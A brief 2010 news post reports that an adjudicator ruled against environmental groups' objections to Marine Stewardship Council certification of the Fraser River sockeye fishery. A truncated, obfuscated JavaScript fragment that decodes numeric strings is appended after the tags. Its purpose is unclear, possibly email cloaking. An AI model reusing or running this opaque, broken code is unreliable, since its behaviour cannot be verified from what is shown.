

Fraser River sockeye one step closer to being certified sustainable

Written by Administrator
Monday, 12 July 2010 16:34 -

Fraser River sockeye are one step closer to being certified sustainable by the Marine Stewardship Council. An independent adjudicator, Halifax-based maritime attorney Wylie Spicer, has ruled against objections to the certification of the Fraser sockeye fishery by several ENGOs. "The certifier will now submit the Final Certification Report to MSC recommending the fishery be certified," the MSC stated. "The fishery is not yet certified; however, it is anticipated that, following final internal MSC review of the documents, the certifier will issue a certificate and MSC will announce certification." The B.C. fishing industry reacted quickly stating that Marine Stewardship Certification would be good for the fish, the fisheries and the future.

More here and here

TAGS: Fraser River sockeye, MSC certification, adjudicator Wylie Spicer, B.C. fishing industry

```
var a=0,m,v,t,z,x=new Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656
380','7684','61818075'),l=x.length;while(++a
```